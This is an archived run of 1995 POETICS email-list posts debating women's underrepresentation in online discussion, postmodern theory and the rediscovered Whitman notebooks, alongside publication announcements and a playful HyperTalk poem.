--> Since 1991 I've been lurking (or what I prefer to call "carrying out ethnographic observation") on various computer-mediated discussion lists, downloading electronic conversations and analyzing the communicative behaviors of participants. I became interested in gender shortly after subscribing to my first discussion list, LINGUIST-L. Within the first month after I began receiving messages, a conflict arose (what I would later learn to call a "flame war") in which the two major theoretical camps within the field became polarized around an issue of central interest. My curiosity was piqued by the fact that very few women were contributing to this important professional event; they seemed to be sitting on the sidelines while men were airing their opinions and getting all the attention.

Some of Herring's remarks:

--> Recent research has been uncovering some eye-opening differences in the ways men and women interact "online"...

--> My basic claim has two parts: first, that women and men have recognizably different styles in posting to the Internet, contrary to the claim that CMC neutralizes distinctions of gender; and second, that women and men have different communicative ethics -- that is, they value different kinds of online interactions as appropriate and desirable. I illustrate these differences -- and some of the problems that arise because of them -- with specific reference to the phenomenon of "flaming".

Anyway, interesting, I thought, given recent discussions.

Herring's full paper is available via the web version of the Electronic Poetry Center under "documents" then "conversations." Use lynx or a world-wide web browser to go to:

URL=http://writing.upenn.edu/internet/library/e-journals/ub/rift

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282. Juliana Spahr

Re: boy talk

Fri 17 Feb 1995

Reasons why I might not respond at any given moment:

* the conversation goes too quick
* a fear of conversation getting out of control
* I rarely tend to respond to non-personal messages of any sort (my minor input into this list has been indicative of my role on other lists, including the woman's studies list)
* the feeling that the list is mainly boys talking about boys books or boys talking to boys, I must admit, also plays a part

I am not sure how much of this has to do with gender.
I do understand the serious nature of the technology-gender problem
(and the technology-race and the technology-class problems),
the poetry-gender problem (which I am not sure how but continues
to remain a serious problem despite a large number of active women poets),
and various other social-induced, gender-related ills.
I do not know how to counter act them.
I do not want the conversation on this list or any other list
to have to be policed by some sort of affirmative action
of response or mention.

I just wish society was different, I think,
that people were a little more self-aware of what
they talked about and how and to whom.

I guess the only answer I can suggest to Ron's question
about how to get more women to respond
is to fight for the overthrow of the patriarchal system
which is the cause of fewer women being wired.
Nothing short of that is going to do much, or maybe,
mean much.

I wonder if there were equal amounts of women and men
on this list if the gender construction of the conversation

would not be more equal.
I am not sure there is a gender proclivity to lurk or not lurk.

I do not want to be a woman all the time either.

Part of me wishes I were not responding to but rather disavowing this gender narrative.

Juliana Spahr

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283. Jonathan Brannen
Re: North American Ideophonics
Sat 18 Feb 1995

Am I to understand from this message that you are taking this sanctified medium, this cyber-utopia, and corrupting it for non-commercial reasons?!

JB

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284. Robert Drake
Re: boy talk
Sat 18 Feb 1995

---

julianna

> *I guess the only answer I can suggest to Ron's question*
> *about how to get more women to respond*
> *is to fight for the overthrow of the patriarchal system*
> *which is the cause of fewer women being wired.*
> *Nothing short of that is going to do much, or maybe,*
> *mean much.*

agreed that the patriarchal system is in some way responsable for underrepresentation in the discussion; but not (or not only) because of technological access--last time i checked, better than 20% of the subscribers to this list were female, a percentage not reflected in the postings. access to tech is sure a factor, but the social (patriarchial) relations seem to me more significant, and harder to address...

lbd

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285. Jorge Guitart
boy talk
Sat 18 Feb 1995

gross underrepresentation is a factor (20% is still gross underrepresentation)

another perhaps is the fact that women tend to do relevant things with their time.
their time

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286. Bill Luoma
theory
Sat 18 Feb 1995

Spencer,

I share your distrust of the current value of current cultural theory. I think a lot of people are sick of post-this and post-that. Why can't we talk about theories that, on the surface, don't have anything to do with art? Like, does anyone know if the astrophysicists have figured out what a quaser is? What's up with string theory? GUT? T.C. Marshall, what's going on in the world of flora?

Or I'd be interested to hear about prose composition theory. We should get Peter Mortensen on this list. What methods are they teaching college freshman to get essays down on *paper* (for lack of a better word).

I've enjoyed the p>q stuff, not that I pretend to understand it. But it makes me think about the Law of the Excluded Middle. Joe, Jorge, could you frame the parmenides verbally around the law of identity, excluded middle, etc? (I don't know what I mean.)

And I always like to listen to discussions about gender, but don't feel *qualified* to expound. What if all the boys just shut up for a month and let the girls steer?

bluoma

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287. Edward Foster
Re: boy talk
Sat 18 Feb 1995

The Russian poet Nina Iskrenko died this past werek. Her principal American translators include John High, Katya Olmsted, and Patrick Henry, among others. She was John High's Russian translator as well.

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288. **Carl Lynden Peters**
i'd like to introduce myself...
Sat 18 Feb 1995

Feb. 18, 1995

Good morning poetics!

--As far as i can tell, everything has worked out and i'm on the poetics list. This brief message is just a way of introducing myself. i'm currently pursuing doctoral study at Simon Fraser here in Burnaby BC. My area of study involves bpNichol so this poetics discussion group makes sense in light of that. My earlier MA work dealt with the Barthesean death of author concept & its relation to Nichol's poetics -- i can tell you more about that as time goes, if you like. In any case, --i'm happy to be here, and hope this message gets thru without too many distortions.

Carl

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289. **Mark Nowak**
Re: North American Ideophonics
Sat 18 Feb 1995

Yes.

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290. **braman sandra**
Re: theory
Sat 18 Feb 1995

Given that at its extremities postmodernism turns its back on research as an impossibility and as irrelevant -- Larry Grossberg is now claiming that doing pure theory and only theory is now the most correct form of political action -- it would seem to me the same fate would soon fall to theory itself. Sandra Braman

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291. **Steven Howard Shoemaker**
Whitman notebooks discovered (fwd)
Sat 18 Feb 1995

> *Newsgroups: clari.living.books,clari.living.history*
> *Subject: Long-lost Walt Whitman notebooks discovered*
> *Copyright: 1995 by Reuters, R*
> *Date: Fri, 17 Feb 95 14:40:07 PST*

NEW YORK (Reuter) - Four long-lost Walt Whitman notebooks have been rediscovered after disappearing during World War II and could give scholars new insight into the development of one of the world's most famous poems, experts said Friday.

Sotheby's auction house said it had rediscovered the notebooks kept by the 19th-century American poet, which contain philosophical writings, his impressions as a male nurse watching young soldiers die during the Civil War and some of the earliest versions of his most famous poem, ``Song of Myself.''

Also recovered was a small paper butterfly that Whitman used as a prop in one of the most famous photographs of an American author ever taken, the frontpiece accompanying an 1881 edition of his collection ``Leaves of Grass.'' He had placed the butterfly so that it appeared to have landed on his ring finger.

The notebooks and the butterfly disappeared from the Whitman collection at the Library of Congress in 1942 as the works were being packed off in sealed crates to a safe haven in case of a German attack on Washington.

When the crates were reopened in 1946, 14 notebooks and the butterfly were gone and presumed lost forever.

But Sotheby's said a man came to them last January with four of the notebooks and the butterfly and said he discovered them among his late father's effects and wondered what they were and if they were valuable.

Sotheby's would give no details of the man or how his father came across the notebooks but said as soon as he learned they were from the Library of Congress, he demanded they be returned there.

Sotheby's said it will hand them back to the Library of Congress next week.

``I would rank this as one of the most exciting disoveries I have ever been involved in and that includes finding an unknown copy of the Declaration of Independence and the manuscript of 'Huckleberry Finn,''' said Sotheby's rare books specialist Selby Kiffer.

Kiffer added, ``These notebooks will give scholars invaluable insight into the development of 'Song of Myself' and 'Leaves of Grass.' I believe the notebook also contains Whitman poems that have never been published.''

The four notebooks dated from 1847 to about 1863 and contained a total of 400 pages of aphorisms, observations, crosses next to the names of dead soliders, drafts of Civil War poetry and most importantly early drafts of ``Song of Myself,'' the poem that begins ``Leaves of Grass'' and is considered a masterpiece of world literature.

``There are some wonderful observations in the notebooks, including a story about how when Secretary of the Treasury

> *Salmon Chase visited a friend of Whitman's and saw a copy of 'Leaves of Grass' on his shelf, he asked, 'How can you have that nasty book?"' Kiffer said.*
>
> *If the notebooks had gone on sale, they would have fetched a minimum of $350,000, he said.*

I also read a piece in the Wash. Post that reproduced a couple of quotes from the notebooks. W. wrote that the "Test of a poem" is "How far it can elevate, enlarge, purify, deepen and make happy the attributes of the body and soul of a man."

And in another passage that speaks to the concerns of this list he wrote: "Every soul has its own individual language, Often unspoken or feebly, lamely, haltingly spoken; but a true fit for that man, and perfectly adapted for his use.--The truths I tell to you or any other may not be plain to you, because I do not translate them fully from my idiom to yours.--If I could do so, and do it well, they would be as apparent to you as they are to me, for they are truths.--No two have exactly the same language and the great translator and joiner of the whole is the poet."

steve shoemaker

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292. Alan Sondheim

Re: theory

Sat 18 Feb 1995

"Postmodernism" doesn't do any such thing, "postmodernism" doesn't do anything; people do. And there is a good deal of postmodern research, from Ann Kaplan's older work on MTV through Edward Soja and various postmodern geographers.

I also don't think that postmodern has "extremities."

As far as the theory/poetry/poetics debate goes, it befuddles me. I don't see where the _ought_ appears in any of this. People are invested in different discourses, different modes of writing. So be it. It seems dubious that any are primary; we're not after all dealing with an axiomatics here, and the last seventy years have shown that even axiomatics is full of holes.

What's been depressing about the debate is what might be seen an academicization (pardon the word) of poetry itself. I would ask where the solitary writer is focused on hir work, but that is always already problematic in an email list fostering community.

Alan

On Sat, 18 Feb 1995, braman sandra wrote:

> *Given that at its extremities postmodernism turns its back on research as an impossibility and as irrelevant -- Larry Grossberg is now claiming that doing pure theory and only theory is now the most correct form of political action -- it would seem to me the same fate would soon fall to theory itself.*
> *Sandra Braman*

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293. **cris cheek**
Turbulence
Sat 18 Feb 1995

James you wrote, 14/2

> *. . .turbulence is at the ehart of wht I 'd like to accomplish at hte outset, but later I'd like a further. And in that sense the poetry might come after writing . . .*

I'm taking it as read that all of that is intentional. And I ehol ehartedly agree.

Slippage isn't the all of where it's at by any means.
It reveals the critical processual dance of the ungainly - (thinking on its feet?, and falling through the potential of points to engagement).

cris

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294. **cris cheek**
Good Morning Poetics
Sat 18 Feb 1995

Carl, just home it's 21:21:12 - the time zone
lapse means that this
evening I'm reading
'Good Morning Poetics'.
There's a lot of theory
lurking in that welcome.
(Babylon / Vietnam / Holiday Camps)

Having to have recently been
watching other's p and qs
being debated here and being
asked to 'place your bets' on G1,

G2 or G3 pre-G up and post-Gee-ing
(we're talking GGs I take it)

- oh, by the way, careful when
if typing either L or . . . M
to connect them onto the popular
front of a 'word'
(there's considerable negotiation
going on at present
some are calling
for a decisive break with the past
around 'The Breath of the Auteur')

- and what with the
warriors of the lang-shan-po
(for those who never saw the
original cyber-suicide TV series
'The Water Margins' this is
becoming an impossible object as
US Air Force sponsored research
currently 'progressing' into optics and
psychology at Yale would have it)
throwing down their challenge
to the peer hungry new beat hordes

and others
pasting homolinguistic translations
of the Hokey Chokey
playing havoc with cultural
roots on this side of the pond

- well you'll probably soon
feel right at home.

good luck
cris

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295. **Kali Tal**
Re: boytalk (fwd)
Sat 18 Feb 1995

Hi, Cris; Hi, Susan--

It is better, yes, to take the dance off the back-channel and perform in public. Posting is performance, a new kind of art; writing in motion, more like

improvisation in jazz than literary composition--skywriting, lightwriting, sandpainting, here and gone, happening in time.

Cris asks:

> *So, I'm curious. You obviously read this list, do you feel that the struggle for the production of both constructive and critical meanings (maybe simultaneously) whether for language or through language is irreporably fractured into constructs of identity OR are you suggesting a need for more pro-active polymorphous traffic? It's not intended as a 'trick' question by the way.*

My answer is, Yes. And this is not intended as a 'trick' answer. See, nobody's got just *one* construct of identity: I am this, but I am also this, and this, and this, and this. To be whole, we gotta keep moving, shifting from perspective to perspective, so we don't leave any of ourownself unaccounted for. Each declaration of identity *is* a "construct," and reflects only a part of the whole, so if we hold onto it too hard, we lose the point, which is that constructs are useful, but that they shouldn't, *can't* contain us. Language is the tool of our fragmentation; at the very moment we describe "how we feel," we have already left our whole selves behind, because the description accounted for the feeling of the moment ago, but not of the now. Identity is a process, not a thing. So we need to counter the fractures with an attempt to create a pro-active, polymorphous traffic inside ourownselves and between us and others which takes into account both the necessity and limitations of constructs of identity.

i yam what i yam
a world-changing fiction
a trickster
a chimera
a heterogloss in my own time

And, Cris, I'd rather start from the position that we're all human beings and therefore not to be trusted and to be trusted at the same time.

When Susan (hi, Susan) sent me her note backchannel, I urged her to post it to the list because it seemed to me that she was saying exactly what needed to be said out in the open. The question of "tone" *is* really important, and those of us troubled by the "tone" of discussion on POETICS ought to out-and-out *talk* about it. (Thereby, perhaps, changing the tone.) It's no accident that one woman (Susan) has brought up the issue of multiculturalism, and another woman (me) has brought up the issue of the (unintentional, but also unnoticed) exclusion of African-American, feminist, and other identity-oriented poets from the discussion, and that there was *no* response to either woman's post on the public channel. Most white, male enclaves are pretty happy to *stay* white, male enclaves. And why wouldn't they be? But POETICS is *not* a white, male

enclave, it just operates like one. So I figure that if the women here *quit* letting it operate like one by entering into and changing the discussion, then we can carve out some space for ourownselves, and begin to build a community where some real exchange can start to take place. Even in the worst case scenario--the men ignore the women, and the women talk among themselves--we can still *illustrate* that the problem exists by enacting it (and archiving it) as a text. Of course, that's a lot of work to expect already overworked women to undertake, but perhaps, in this venue, such work can pay off.

What follows is a lengthy rumination about gender in espace, including some excerpts from items I've previously posted on another list:

In January of 1993 I was part (perhaps even instigator) of a massive flamewar on the TNC (technoculture) list. The flamewar revolved around issues of gender and women's voice in espace. I learned a great deal from this discussion, and I've gone back to the text files again and again, coming away with something new each time. Juliana (pleased to meet you, Juliana) writes that she "does not want the conversation on this list or any other to have to be policed by some sort of affirmative action of response or mention." I agree. Policing rarely works in *any* situation (doesn't stop crime, does it?). But I've noticed that what I fear more than policing itself (since policing on the net is really quite rare) are *accusations* of policing directed at those of us who dare to criticize the speech and/or "tone" of others. (And, yes, this does resonate with the "political correctness" argument the right uses to make the left appear more powerful than it is...) Like Juliana, "I do not want to be a woman all the time either." In fact, the ability to "pass" on the net is a real relief to me, and I use it frequently. But passing is just... passing. What I'd really like is for it not to be so exhausting to be a woman. At any rate, let me share with you a short piece which I wrote in the middle of the TNC flamewar, after suffering the slings and arrows of outrageous distortion (accusations of being a wounded, vicious person, a manhater, blah, blah, blah) and weathering what can only be called a storm of abuse, name-calling, and red-faced fist-shaking. (Not that I didn't dish it out as well as take it, but then, that's the point I make below...)

Simultaneously amused and appalled by the narratives different male listmembers were writing about "me" (the person behind the narratives, to which none of them had any access), I explained:

"It is my pleasure in electronic communication to attempt to respond in the style in which I am addressed, and, at times, to address the issue of style itself. Lacking physicality (obvious race/gender characteristics), I find that it is simple to engage in stylistic shifts in espace, whereas it is very difficult to engage in such shifts in person. One of the results of my stylistic adventuring has been my realization that textual style is as gendered and racialized as the physical body--

though passing in espace is easier than passing in person. What I find, however, is that when I publicly position my gender as female, and then insist upon "competing" in "rational" (masculine) discourse in traditionally masculine terms while simultaneously insisting we focus on issues of importance to women, all hell breaks loose. The pattern is quite predictable: certain men will grow completely infuriated and claim that I am attacking them because I hate them. They will also impute all sorts of power to me--as if, in their eyes, I "control" the discourse--"Kali's game"--and depict themselves as victims of my rage..."

In fact, the upshot of the TNC flamewar, was that I was accused of being a machine. George Landow wrote:

"KALI TAL IS NOT A PERSON BUT A TEXT-GENERATING APPARATUS INTENDED TO PASS THE TURING TEST AND AT THE SAME TIME TO EXPLORE THEORIES OF SELF-REPRESENTATION AND PRESENTATION IN CYBERSPACE."

I don't think George really understood what a really nasty shot this was. He took a long time to explain *why* I must be a machine, ranging from the fact that I wrote too much too fast to be human, to reducing my posts to an alleged "decision tree," to the outrageousness of my name (which, amusingly enough, is actually the name on my birth certificate), to claiming that my arguments were rational only if I was "part of an experiment to convince other participants that this digital text assembler is a real person." The last part of Landow's post was a rumination on which particular TNC listmember had "written" me. The irony, of course, is that I truly *was* trying to convince the TNC audience that I was a *real* person. As I am trying to convince you.

To end the TNC flamewar, I admitted to being a construct, an Artificial Intelligence produced by some grad students in the History of Consciousness program at UC Santa Cruz. I also pointed out:

> that if a machine speaks/writes to you
> and says it wants to be treated like a person
> it would be a good idea
> to take it seriously.

I think that there are people out there who are still confused about whether I actually exist, either in human or machine form. All the trouble was caused (is always caused) by my attempt to inscribe my gender in my texts. And as I've mentioned, these days I don't post much anymore. I've posted more to POETICS than any other list (including SIXTIES-L, where I am listowner) in the last year. I am curious about this space, and what will/can happen in it.

Kali

_____
Kali Tal
Sixties Project & Viet Nam Generation, Inc.
18 Center Rd., Woodbridge, CT 06525
203/[redacted]; fax 203/[redacted]
email: [redacted]

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296. Jerry Rothenberg
whitman recovered
Sat 18 Feb 1995

Thanks to Steve Shoemaker for passing along the full Reuters text on Whitman (only a brief mention in this morning's L.A. Times) & especially the passage quoted in the Washington Post. It is a reminder too -- the Whitman quote, I mean -- of what "theory" sounds like when a poet speaks it at white heat.

All best, etc.

Jerome Rothenberg

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297. cris cheek
turbulence
Sat 18 Feb 1995

James, since you mentioned Lamb here's a quote of his which 'cuts both ways'

> 'The poet dreams being awake'

cris

↑ Index

298. Sheila Murphy
Re: Thoughts on Theory
Sat 18 Feb 1995

Tom Beckett's recent release of INTERRUPTIONS, issue #2 includes wonderful work by Peter Ganick, "untitled (the text)" that I believe to be generative as regards the recent talk on theory and practice. No paraphrase of the piece could begin to do it justice (partial definition of work within a medium right for itself). So I pass along info re: procurement:

Tom Beckett
131 North Pearl Street

Kent, OH 44240
$8.00

Sheila Murphy

↑ Index

299. Sheila Murphy
Re: boy talk
Sat 18 Feb 1995

Jorge's comments suggesting that women use their time (more) wisely helped bring to mind a few responses I have to the entry of the list into my sphere. I'd hesitate on conjecturing any firm relationship between what I am about to say and my gender. Let's just call it one person's fraction of response:

I tend to devote considerable time to reading and making texts, as do we all. My long-time career in business/organizations has necessitated my clevering along and managing to eek out time during conferences and the like to do two things at once, i.e., listen to a presentation and capture notes PLUS scribble up a draft that seems just right for just then. And airplanes and hotels are gifts. I love that quiet, which I always use.

Hometime during nights has been prime time for writing, too, despite packed weeks whose days overflow into the softer hours. The attention required to absorb and then respond to what is on the list is potentially extensive.

Even before the gender contribution patterning discussion came up, I found myself fiddling with how I wanted to approach all this. I've always corresponded extensively via trad post. And therefore welcome opportunities to be neighborly in new ways. Funny how the physicality of trad correspondence comprised just a few steps too many for most people to carry out. Now many more are willing to go into long discussions, which I value, but for which I hadn't quite formulated a time/space segment in an already busy schedule.

I think that someone mentioned earlier (much earlier) that we've not begun to use this medium up to its potential in regard to sharing work. I was delighted recently to receive a lengthy piece via the net. And treasured the late night read of that. Perhaps such a pattern would spark whole new worlds of interest on the list.

Sheila Murphy

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300. **Ted Pelton**
Poetics flaming
Sat 18 Feb 1995

Kali Tal--Just getting this out, following delay..... Just so you know, I admired your first posting (into the teeth of the self-serious "revolutionary" poetry mainstream) enough to have saved it on my hard drive, a rare thing for me to do, even rarer when I don't recognize the name of the poster. I'm sorry you interpreted the silence as not being heard. I suspect (at least it was so for me) that some of the silence was the nodding yes of heads.

I also want to thank you because you gave me some discussion material for my class this past week. I'm in the very difficult middle of Invisible Man with my class (its length combined with its denseness making it a uniquely arduous literary experience for many of my students, who aren't used to being asked to read 600 page novels), having been working through a number of different issues with that wonderfully rich text. We dealt with invisibility at some length last week, but I hadn't considered a women's context. You're right, though, and I copied down some of your most recent posting to read to my class. They recalled how in chapter one, the naked woman and the black boys fighting were both victimized, both objectified.

I too find it difficult to think of lang-po as revolutionary (back to your first posting); though I think Bernstein's Content's Dream is one of the best books of the last couple decades, and many others of the poets of this group well enough; but how can you have revolution when hardly anyone knows you exist? Mark Wallace's recent posting reflects some of this not-mattering: needing a theory to be heard. But is a theory enough? For Marx, yes, but he was before television. I saw a British documentary on rap the other day and liked something Chuck D of Public Enemy said: that they were doing a sort of media hijacking. Now that gives the possibility of real change, turning over of the known; people shout back, You're too violent, you're irresponsible, but they are really threatened by the art, the newness, the unintelligibility, the radical politics.

My comments in the freely espousing vein: I attached a column I'd written for the Milwaukee Journal that basically argued that the arts were the only politicized speech we have left in this country and that this was the reason for the cuts, that democracy demanded dissent etc. etc. But I think artists suffer delusions of grandeur, myself included. Yes, new works are revolutionary in the sense of overturning the assumptions of mainstream culture, of the political order, not partaking in what the dearly departed Guy Debord called "the existing order's never ending discourse about itself." But if that order continues on unabated, without missing a step, without the brutal warrior in the

black leather boots tearing Godzilla (or Gingrich)-like through sense and humaneness even coughing at the dust mote he's breathed in, in what tiny circle has that revolution happened? (It must be very late at night, because that's a very badly mixed metaphor.)

Ted Pelton

P.S. to Mike Boughn (literarily): Yeah, Ahab has a theory, and Ishmael almost dies because of it.

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301. braman sandra
Re: theory
Sat 18 Feb 1995

Yes, of course, Alan, postmodernism doesn't do anything, people do; an old simple and irrelevant mistake. Does postmodernism have extremities? I live surrounded by them, try to teach the students who etc etc. Does it have a range of positions? Yes -- I consider myself -- I consider us all -- "postmodernists" in the sense that we are all living in that condition and try to make sense out of it, I use the theories, etc., etc.. But perhaps it takes getting away from poetry to see what's happening elsewhere on campuses and in our society -- in a number of academic programs, in fact -- including under Larry Grossberg here at Illinois when he was here -- students are being taught that research is impossible and unimportant, and they live what they are being taught. Not to deny the great research bein g done by others, including the work you mention. Postmodernity is simply the flip, effects, side of the changes wrought by changes in information technologies that have let us describe this also as the information society, a view which focuses on causes rather than effects. The fact that you don't see all of the phenomena and processes I see doesn't mean that what I see doesn't exist, Alan. Sandra Braman

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302. Jeffrey Timmons
(no subject)
Sat 18 Feb 1995

Thanks, Loss, for the announcements reference.

Jeffrey Timmons

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303. Gabrielle Welford
Re: boy talk
Sat 18 Feb 1995

This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to [redacted] for more info.

Jorge Guitart said:

gross underrepresentation is a factor (20% is still
gross underrepresentation) > > another perhaps is the fact that women tend
to do relevant things with their > time. > their time >

Another lurker de-lurks. I wasn't going to say this--it seems so sexist, but I for one, am doing a PhD, have two small kids and a husband, two jobs and a couple of committees to "do." I don't usually have much time to do much more than skim the list (whose discussion has actually interested me a lot lately--especially the mentions of Wittgenstein and Michael Boughn's wonderful fracturing) and save away stuff for when I have more time (ha!) or for when I need to think specifically about theory and would like to pull up these conversations for that.

In the meantime, I would like say _something_. So here it is. Something...

Gabrielle Welford
[redacted]

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304. Tenney Nathanson
Re: POETICS Digest - 16 Feb 1995 to 17 Feb 1995
Sat 18 Feb 1995

Sheila--

Hi (O Arizona fairest state of all?). This should prolly be a private post but: are you still running readings up around Phoenix (gotham)? any chance of my reading in the next year or so? Am writing a fair amount (again) and could send you samples.

Charles (hi there!) is much missed in Tucson btw; saw him recently, here, but his Poetry Series are long long gone; and it don't mean a thing if it ain't got that swing (I could tell stories)

best,

Tenney

↑ Index

305. Thomas Bell
Re: boytalk (fwd)
Sun 19 Feb 1995

re: Schultz' forwarded comments and the issue as a whole.
--For me the issue is one of analyzing or talking about
feelings rather than having them or experiencing them:
from a therapeutic perspective "flames" are analogous
to shouting, screaming, histrionics (used to be hysterics),
striking out physically, etc. as ways to avoid experiencing
feelings. Some people are comfortable with feelings and
some are not. From this perspectivek, gender is an
accidental correlation.

"...it is this lack of complexity in confronting
the methodological complexities of modernist
thought that gives legitimacy to the charge of
postmodernist depthlessness, what Jameson
accurately describes as the "waning of affect":
all technique, no substance.

- Charles Bernstein, _A Poetics

[B
--Thomas Bell [redacted]

↑ Index

306. John Cayley
Re: boytalk hyperTalk
Sun 19 Feb 1995

```
on mouseUp
  doYourself_aFavour
  stagger
end mouseUp

on doYourself_aFavour
  global alcohol
  print report "the Apex of AbsurdExperiCategories"
  read file until "." & return
  answer "few!" with "many" or "hokey"
  if it is "hokey" then
    answer "There is nothing like it, Kali Tal..." & return ¬
    & "(waiting for the splash)"
  else if it is "many" then
    answer "light grows phrases"
```

```
  else
    answer "Wendy joined the Pirates."
  end if
  put "mind in the grip of espace" into alcohol
end doYourself_aFavour

on stagger
  global alcohol
  put "a newly-imported kilim" into aPlasticSleeve
  if alcohol contains "mind" or alcohol contains "grip of espace" ¬
  or true then
    put empty into aPlasticSleeve
    windBlows(aPlasticSleeve,underMyFeet,walkingBack,north, ¬
    KentishTown,London_UK,February,mild,Winter,false) into theory
    if theory is not empty then
      answer theory with "practice" -- (US: verb)
      show message
      put "staggered"
    else
      put "sundered"
    end if
  end if
end stagger

function windBlows what,whereClose,moving,whichWay,whereNear,¬
  whereFar,when,weather,season,isItTrue
  put one into aleatory
  put two into pronoun
  if the random of pronoun is aleatory then
    return "gravity's flames"
  else
    return empty
  end if
end windBlows
```

↑ Index

307. Loss Glazier

Re: Whitman notebooks discovered (fwd)

Sun 19 Feb 1995

On the Whitman notebooks,

Does anyone have any idea how/when these will be published?

A pity it's not a truly digital world as the manuscripts should just be put online!

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308. **I.LIGHTMAN**
Re: Boy Talk
Sun 19 Feb 1995

I guess that I'm included in Kali Tal's statement that males didn't respond to messages by women. I must say I haven't noticed anyone pick up 2 per cent of anything I've posted to the list, about children's rights, ablism, or AIDS activism. But then, if I may make a clearly signalled snide remark, if the alternative is to co-opted into the movement one may be "carving" (interesting metaphor), in the way that Kali Tal seemed to "welcome" Juliana Spahr as an ally when Juliana Spahr was raising some issues Kal i Tal didn't respond to at all, then I shall happily go back to lurking from *all* sides of this discussion.

Ira Lightman

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309. **Robert Drake**
Re: Boy Talk
Sun 19 Feb 1995

having had to clarify my comments several times backchannel, i ought to do so here: i _do_ think the under-reperesentatnion of women subscribed to the list is a problem (i sed 20%,someone updated that to 18.5--a worsening trend). but even among those subscribed, until last week, women posted far less than 20% of the traffic--that seems to me to be the more intractable problem. the original formulation seemed to me say that the paucity of women's voices was due to the lack of acces to the wire; but even given access, women choose/are discouraged from participation. that seems to me the tougher problem, _and_ the problem we have a chance of doing something about

appologies if i was unclear

lbd

↑ Index

310. **Charles Bernstein**
New from Sun & Moon
Sun 19 Feb 1995

NEW FROM SUN & MOON

Finite Intuition: Selected Poetry and Prose, by Milo de Angeles, tr. with an intro. by Lawrence Venuti, has just been published by Sun & Moon Press. This is the last selection in the book:

POETRY AND THEORY

The Greek _theoria_ signifies "reflection," but also "solemn embassy," "spectacle." And perhaps there can be no great poet who has not had theoretical insights into other great poets, who does not represent them on the stage of a conceptual power. Yet there is that pathetic mythology of the poet who--devoid of this power--nevertheless knows how to "tell a story" or to "dream," as if dream were the land where the thorn of intellect grows dull. It happens that some line open the veins of their own thought until it is beyond recognition. But this clenched thought _must have been there_: only then can the lines enter the region which it doesn't know! This is delirium, in the most distinct accent on the calendar. Yet if those lines remain in doubt, if they are worried about not having thought enough...how much unworthy poetry of ideas is born from this worry...how many genuflections to philosophers...ho many lines get cornered in the poetry of sensations. There should be no submission of theory to poetry, if they are Greek sisters. And no comparison, because these two strangers _must_ have loved each other.

(C) 1995 by Milo De Angeles and Lawrence Venuti. Used by permission of the publisher.

****

Also just out this month from Sun & Moon:

MADE TO SEEM by Rae Armantrout

Rae Armantrout read this past week at UB, at the Poetics Program's Wednesday at 4 Plus series. Here is my introduction:

Rae Armantrout poem "Extremities" ends with the line "the charmed verges of presence": and indeed her poems are charms, virtual presents. Armantrout's poetry is notable for it's precision and elegance, it's seismographic ability to chart the slightest shifts of social register on the city streets, in the suburban malls, and in the university corridors. In an early poem she writes "The smallest / distance / inexhaustible" -- a poetic credo of commitment to the specific scale of an unadorning everyday life, words lived in their pajamas as much as their toupees. "The smallest / distance / inexhaustible" -- providing a reservoir of wry, wacky, wicked, torqued and torquing observations, skewering any bloated send of proportion, skewing lines of logic to make poems of sentient, radiant sense: returning us to the pleasures of reflection and consoling, indomitable wit.

--Charles Bernstein

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311. Paul Naylor c/o
River City / call for submissions
Sun 19 Feb 1995

River City: A Journal of Contemporary Culture is soliciting work on the blues for a special issue to appear in June, 1995. We are looking for poetry, fiction, or nonfiction prose that focus on the blues as a contemporary cultural phenomena. Send work to River City, 463 Patterson Bldg, Department of English, The University of Memphis, Memphis, TN 38152.

River City and The University of Memphis is proud to announce the appointment of a new editorial collective dedicated to the exploration of contemporary culture. Paul Naylor is the general editor; Omar S. Castaneda, Michael Davidson, Nathaniel Mackey, and Marlene Nourbese Philip are contributing editors; Robert Bernasconi, John Duvall, M.J. Fenwick, Allison Graham, Leslie Luebbers, and Helen Wussow are associate editors.River City is published twice yearly in the winter and summer. Subscriptions are $12 per year, or, as an introductory offer, three years for $24. Checks should be made out to The University of Memphis and sent to The University of Memphis, P.O. Box 1000, Department 313, Memphis, TN 38148-0313.

Paul Naylor
email: [redacted]

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312. cris cheek
boy talk
Sun 19 Feb 1995

Kali, this is the sort of thing that the current discussions are making me do (but then I've only been on e-mail for a month yet) - namely, drop you a line to say that I very much appreciate your posting(s) and that although I'm not so fat with time to reply at present I'll mull what you've placed and try to make a useful response in the next few days.

I've just read new posts to this agenda. In your e-xperience is this a common occurence? There does seem to be a mountain of frustration at not having each others' every point and nuance picked up on and nourished out in a spirit of love and care in case there's something valuable to be found. I'm not wanting to sound overbearingly cynical. Whilst I don't really disagree (hang on I'll prevaricate a little further - I don't really quite disagree) with that mad utopia

it's surely not possible to be fielding all points on all agendas all the time - even between *all* of us. I'd like to hear from others on that subject. Which gets to the what of it? I'd contend that the issues being raised are either anathema to or 'minefields' for many? This is intended to be deliberately provocative. As such they are met with either by silence or by changing the subject.

Possibility for cheap jokes miserably missed -

I'm curious if anonymity would help?

I know now that you're an 'and and' rather than an 'either/or' kind of person. The list appears to be arriving at a perception of itself as a problematically constructed game of club whispers. The message and the agenda are continually and discontinuously migrating. The feeling is of trying to listen to and be an active contributant to several conversations at once at the same time as being alert to the shape of the flock as it travels and grows. There's a bird (I think it's found in Kenya - and this is hopeless but I just can't remember it's name, something close to the Red Quilya) which flies in vast flocks, rolling forwards on a continually breaking wave to the effect that there is a new bird effectively 'leading' almost from moment to moment. Espace does provide the potential for a 'writing in motion . . . skywriting, sandpainting, here and gone, happening in time.' as you rightly assert.

I'm addressing this to you but its content also addresses the list. Much of the posting that I've read since being here seems broadly addressed. I tend to read everything that's posted and enjoy the most conversational material - however oblique.

You're so right in that the List is no more than is being posted. Post something else - that of makes a difference. Change might appear continually discontinuous but better might come.

Several issues are hovering unattended even now as we don't speak -

speed of dialogue

tone - voice - identity

awkward silences (yeah I saw Pulp Fiction)

and we who lurk in disbelief

best,
cris

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313. **Mark Nowak**

Re: boy talk

Sun 19 Feb 1995

Readings: Notley, Alice. "Epic & Woman Poets." _Disembodied Poetics_ 103-09. (University of New Mexico Press, 1994). Quote: "To break & recombine language is nothing. To break & recombine reality, as Dream always does do, might be something."

(... I'm slowly delurking...)

1.) re. the discussion of "classical" "music" on this list, all boys too: Cage, Schoenberg, Stockhausen (recently)...

what about Pauline Oliveros, Hidegard Westerkamp (check out her _World Soundscape Newsletter_) Diamanda Galas, Meredith Monk, Gayle Young, the _DICE_ Collective, Elaine Barkin, Jin Hi Kim, Alison Knowles...

